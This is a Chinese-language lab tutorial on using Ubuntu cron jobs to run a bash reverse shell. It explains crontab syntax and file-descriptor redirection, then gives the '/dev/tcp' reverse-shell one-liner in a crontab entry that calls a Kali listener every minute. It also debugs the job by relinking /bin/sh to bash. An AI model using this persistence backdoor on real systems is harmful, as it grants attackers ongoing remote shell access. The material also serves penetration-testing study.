ubuntu计划任务反弹shell


实验环境

  • ubuntu 14.04 x64位:192.168.1.115

  • kali/win10:192.168.1.108/107

  • 所用工具:netcat(瑞士军刀)

计划任务

至于计划任务是什么我觉大不需要太多解释,就是定时执行任务的意思那么接下来看看计划任务的格式,以及书写

crond 是linux用来定期执行程序的命令,如果未安装需要先安装,不在多说

cron服务提供crontab命令来设定cron服务的,以下是这个命令的一些参数与说明:

  • crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
  • crontab -l //列出某个用户cron服务的详细内容
  • crontab -r //删除没个用户的cron服务
  • crontab -e //编辑某个用户的cron服务

我们使用crontab -e编辑的文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致(redis里面命名的root)

基本语法

分 小时 日 月 星期 命令

0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

前四行是用来配置crond任务运行的环境变量

  • 第一行SHELL变量指定了系统要使用哪个shell,这里是bash
  • 第二行PATH变量指定了系统执行命令的路径
  • 第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户
  • 第四行的HOME变量指定了在执行命令或者脚本时使用的主目录

反弹shell

1
bash -i >& /dev/tcp/IP/PORT 0>&1

要想了解>&0>&1,首先我们要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  • 标准输入 (stdin) :代码为 0 ,使用 < 或 <<
  • 标准输出 (stdout):代码为 1 ,使用 > 或 >>
  • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

命令解释

  • bash -i: -i(interactive)。即产生一个交互式的shell(bash)
  • /dev/tcp/IP/POR:接单理解就可以是连接IP上的PORT端口,具体意思–>>/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
  • 在这里&并不是and的意思,在c或者C++中,&是取地址符。>&和&<是一个意思,把…定向到…..;>&和2>&1是一个意思就是把标准错误输出定向到标准输出中,0>&1就是把标准输入定向到标准输出中

本地测试


通过ssh连接两台虚拟机

img

在kali中开启监听,这里我们随便选一个端口,大于1000的–>>6666端口

img

在Ubuntu中写入计划任务,使用crontab -e直接编辑

1
* * * * * bash -i  >& /dev/tcp/192.168.1.109/6666 0>&1

img

切换到root用户查看,发现crontabs目录下多了一个qiushui文件,这里是因为我刚才是用qiushui用户登陆的,如果可以拿到shell,也是此用户的shell,但是并没有反弹成功

img

接下来,查看一下Ubuntu这边的日志:tail -f /var/log/syslog

img

经过查阅资料

Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话

想看到真正的报错信息有两种解决办法:

  • 安装邮件系统
  • 将计划任务的错误信息输出到一个文件内

我们选择第二种,接下来修改一下计划任务,让他输出到一个文件内

1
* * * * * bash -i  '>& /dev/tcp/192.168.1.109/6666 0>&1'>/tmp/error.txt 2>&1

img

大概需要等一分钟左右,接下来我们去查看error文件

img

img

  • 第一行:无法设定终端进程组
  • 第二行:此shell中无任务控制
  • 第三行:没有这个文件或目录

这条错误的意思说/bin/bash没有被找到,linux里面的cron中command执行的shell环境是/bin/sh,接下来我们看看ubuntu的bin/sh文件

1
ls -l | grep -w 'sh'

img

可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell

而实际上dash这个shell只有运行脚本的能力,而没有交互能力。

这里我们只需要将修改sh的软链接为bash即可

1
ln -s -f bash /bin/sh

img

解决完问题我们把计划任务修改回来,成功反弹

img

参考文章:Linux渗透之反弹Shell命令解析_deeplearnings的博客-CSDN博客_反弹shell的命令